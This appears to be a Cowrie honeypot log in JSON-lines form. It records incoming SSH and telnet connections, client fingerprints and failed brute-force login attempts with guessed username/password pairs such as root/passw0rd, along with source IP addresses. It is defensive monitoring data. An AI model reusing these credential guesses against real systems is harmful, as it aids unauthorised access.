{"eventid":"cowrie.session.closed","duration":59.27419447898865,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:15:56.757872Z","src_ip":"152.42.224.71","session":"39e502c066a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:15:57.116441Z","src_ip":"94.159.110.201","session":"fa2ddaa99460","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41068,"dst_ip":"10.17.0.5","dst_port":23,"session":"b96790446c37","protocol":"telnet","message":"New connection: 152.42.224.71:41068 (10.17.0.5:23) [session: b96790446c37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:16:02.312900Z"}
{"eventid":"cowrie.session.closed","duration":114.67397904396057,"message":"Connection lost after 114 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:16:21.705617Z","src_ip":"152.42.224.71","session":"d85c2f78c223","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00217509269714,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:16:23.610693Z","src_ip":"152.42.224.71","session":"12be2a3ce3d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41896,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a3d03858133","protocol":"telnet","message":"New connection: 152.42.224.71:41896 (10.17.0.5:23) [session: 9a3d03858133]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:16:29.343252Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":52260,"dst_ip":"159.203.135.109","dst_port":22,"session":"217f7f18f79e","protocol":"ssh","message":"New connection: 47.237.167.49:52260 (159.203.135.109:22) [session: 217f7f18f79e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:16:32.754071Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":47066,"dst_ip":"159.203.135.109","dst_port":22,"session":"197c411241db","protocol":"ssh","message":"New connection: 62.133.63.178:47066 (159.203.135.109:22) [session: 197c411241db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:16:34.491195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:16:34.496446Z","src_ip":"62.133.63.178","session":"197c411241db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:16:34.624396Z","src_ip":"62.133.63.178","session":"197c411241db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.012890577316284,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:16:34.802717Z","src_ip":"152.42.224.71","session":"09dc424aa05f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"132465798","message":"login attempt [root/132465798] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:16:35.003894Z","src_ip":"62.133.63.178","session":"197c411241db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:16:36.132621Z","src_ip":"62.133.63.178","session":"197c411241db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.125.139","src_port":22380,"dst_ip":"159.203.135.109","dst_port":23,"session":"cdb6e852fced","protocol":"telnet","message":"New connection: 34.22.125.139:22380 (159.203.135.109:23) [session: cdb6e852fced]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:16:38.128332Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.125.139","src_port":22390,"dst_ip":"159.203.135.109","dst_port":23,"session":"03d742862d7e","protocol":"telnet","message":"New connection: 34.22.125.139:22390 (159.203.135.109:23) [session: 03d742862d7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:16:38.284783Z"}
{"eventid":"cowrie.session.closed","duration":0.005059957504272461,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:16:38.289720Z","src_ip":"34.22.125.139","session":"03d742862d7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.125.139","src_port":22394,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f26811854bf","protocol":"telnet","message":"New connection: 34.22.125.139:22394 (159.203.135.109:23) [session: 5f26811854bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:16:38.439593Z"}
{"eventid":"cowrie.session.closed","duration":0.6519811153411865,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:16:38.780134Z","src_ip":"34.22.125.139","session":"cdb6e852fced","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":45056,"dst_ip":"10.17.0.5","dst_port":22,"session":"17c76d26197b","protocol":"ssh","message":"New connection: 147.45.211.215:45056 (10.17.0.5:22) [session: 17c76d26197b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:16:39.616452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:16:39.623017Z","src_ip":"147.45.211.215","session":"17c76d26197b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:16:39.801780Z","src_ip":"147.45.211.215","session":"17c76d26197b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passw0rd","message":"login attempt [root/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:16:40.330427Z","src_ip":"147.45.211.215","session":"17c76d26197b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.82580232620239,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:16:41.138576Z","src_ip":"152.42.224.71","session":"b96790446c37","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:16:41.508421Z","src_ip":"147.45.211.215","session":"17c76d26197b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":33952,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b47906ac395","protocol":"ssh","message":"New connection: 89.223.69.22:33952 (10.17.0.5:22) [session: 7b47906ac395]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:16:48.113739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:16:48.118645Z","src_ip":"89.223.69.22","session":"7b47906ac395","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:16:48.231535Z","src_ip":"89.223.69.22","session":"7b47906ac395","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"microlab","message":"login attempt [root/microlab] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:16:48.570371Z","src_ip":"89.223.69.22","session":"7b47906ac395","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:16:49.686488Z","src_ip":"89.223.69.22","session":"7b47906ac395","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59242,"dst_ip":"10.17.0.5","dst_port":23,"session":"76765b0e783d","protocol":"telnet","message":"New connection: 152.42.224.71:59242 (10.17.0.5:23) [session: 76765b0e783d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:16:50.330600Z"}
{"eventid":"cowrie.session.closed","duration":"18.0","message":"Connection lost after 18.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:16:50.803550Z","src_ip":"47.237.167.49","session":"217f7f18f79e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.125.139","src_port":39888,"dst_ip":"159.203.135.109","dst_port":23,"session":"97d1a0b27028","protocol":"telnet","message":"New connection: 34.22.125.139:39888 (159.203.135.109:23) [session: 97d1a0b27028]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:16:57.595155Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 159.203.135.109:23","message":"login attempt [GET / HTTP/1.1/Host: 159.203.135.109:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:16:57.601348Z","src_ip":"34.22.125.139","session":"97d1a0b27028","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:16:57.606072Z","src_ip":"34.22.125.139","session":"97d1a0b27028","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.09018301963806152,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:16:57.685208Z","src_ip":"34.22.125.139","session":"97d1a0b27028","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.125.139","src_port":39904,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1e1b48378a4","protocol":"telnet","message":"New connection: 34.22.125.139:39904 (159.203.135.109:23) [session: c1e1b48378a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:16:57.760751Z"}
{"eventid":"cowrie.session.closed","duration":0.006207466125488281,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:16:57.766819Z","src_ip":"34.22.125.139","session":"c1e1b48378a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.125.139","src_port":54030,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f6dcfdc56dc","protocol":"telnet","message":"New connection: 34.22.125.139:54030 (159.203.135.109:23) [session: 3f6dcfdc56dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:16:57.917072Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.125.139","src_port":54046,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ca5d8277823","protocol":"telnet","message":"New connection: 34.22.125.139:54046 (159.203.135.109:23) [session: 2ca5d8277823]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:16:58.073618Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52794,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f6ef8868ec0","protocol":"telnet","message":"New connection: 152.42.224.71:52794 (10.17.0.5:23) [session: 5f6ef8868ec0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:16:58.078883Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.125.139","src_port":54054,"dst_ip":"159.203.135.109","dst_port":23,"session":"326669f7c080","protocol":"telnet","message":"New connection: 34.22.125.139:54054 (159.203.135.109:23) [session: 326669f7c080]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:16:58.232597Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.125.139","src_port":54068,"dst_ip":"159.203.135.109","dst_port":23,"session":"25a8aa1d042d","protocol":"telnet","message":"New connection: 34.22.125.139:54068 (159.203.135.109:23) [session: 25a8aa1d042d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:16:58.387972Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.125.139","src_port":54078,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb5640646509","protocol":"telnet","message":"New connection: 34.22.125.139:54078 (159.203.135.109:23) [session: fb5640646509]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:16:58.544986Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.125.139","src_port":54090,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae50a223702a","protocol":"telnet","message":"New connection: 34.22.125.139:54090 (159.203.135.109:23) [session: ae50a223702a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:16:58.700378Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.125.139","src_port":54102,"dst_ip":"159.203.135.109","dst_port":23,"session":"467b1f3fa6b7","protocol":"telnet","message":"New connection: 34.22.125.139:54102 (159.203.135.109:23) [session: 467b1f3fa6b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:16:58.855105Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.125.139","src_port":54110,"dst_ip":"159.203.135.109","dst_port":23,"session":"acf386f8497a","protocol":"telnet","message":"New connection: 34.22.125.139:54110 (159.203.135.109:23) [session: acf386f8497a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:16:59.012469Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.125.139","src_port":54112,"dst_ip":"159.203.135.109","dst_port":23,"session":"bad88bb7b71e","protocol":"telnet","message":"New connection: 34.22.125.139:54112 (159.203.135.109:23) [session: bad88bb7b71e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:16:59.247342Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.125.139","src_port":54126,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce4d3330c568","protocol":"telnet","message":"New connection: 34.22.125.139:54126 (159.203.135.109:23) [session: ce4d3330c568]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:16:59.401547Z"}
{"eventid":"cowrie.session.closed","duration":0.0053141117095947266,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:16:59.406745Z","src_ip":"34.22.125.139","session":"ce4d3330c568","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.125.139","src_port":54132,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7b620eede94","protocol":"telnet","message":"New connection: 34.22.125.139:54132 (159.203.135.109:23) [session: d7b620eede94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:16:59.556845Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.125.139","src_port":54138,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5b87a6bfadd","protocol":"telnet","message":"New connection: 34.22.125.139:54138 (159.203.135.109:23) [session: b5b87a6bfadd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:16:59.711952Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.125.139","src_port":54144,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb74af63bcc4","protocol":"telnet","message":"New connection: 34.22.125.139:54144 (159.203.135.109:23) [session: fb74af63bcc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:16:59.869305Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.238.160.191","src_port":54690,"dst_ip":"159.203.135.109","dst_port":22,"session":"71d6e6534370","protocol":"ssh","message":"New connection: 170.238.160.191:54690 (159.203.135.109:22) [session: 71d6e6534370]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:16:59.971086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:16:59.976083Z","src_ip":"170.238.160.191","session":"71d6e6534370","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.125.139","src_port":54158,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a26614a8141","protocol":"telnet","message":"New connection: 34.22.125.139:54158 (159.203.135.109:23) [session: 6a26614a8141]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:00.025209Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:00.088595Z","src_ip":"170.238.160.191","session":"71d6e6534370","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.125.139","src_port":54162,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2f634269ef9","protocol":"telnet","message":"New connection: 34.22.125.139:54162 (159.203.135.109:23) [session: e2f634269ef9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:00.184467Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.125.139","src_port":54174,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4285478b66c","protocol":"telnet","message":"New connection: 34.22.125.139:54174 (159.203.135.109:23) [session: f4285478b66c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:00.343232Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.125.139","src_port":54176,"dst_ip":"159.203.135.109","dst_port":23,"session":"48bbcd275550","protocol":"telnet","message":"New connection: 34.22.125.139:54176 (159.203.135.109:23) [session: 48bbcd275550]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:00.506524Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"!QAZ2wsx3edc","message":"login attempt [admin/!QAZ2wsx3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:00.574916Z","src_ip":"170.238.160.191","session":"71d6e6534370","protocol":"ssh"}
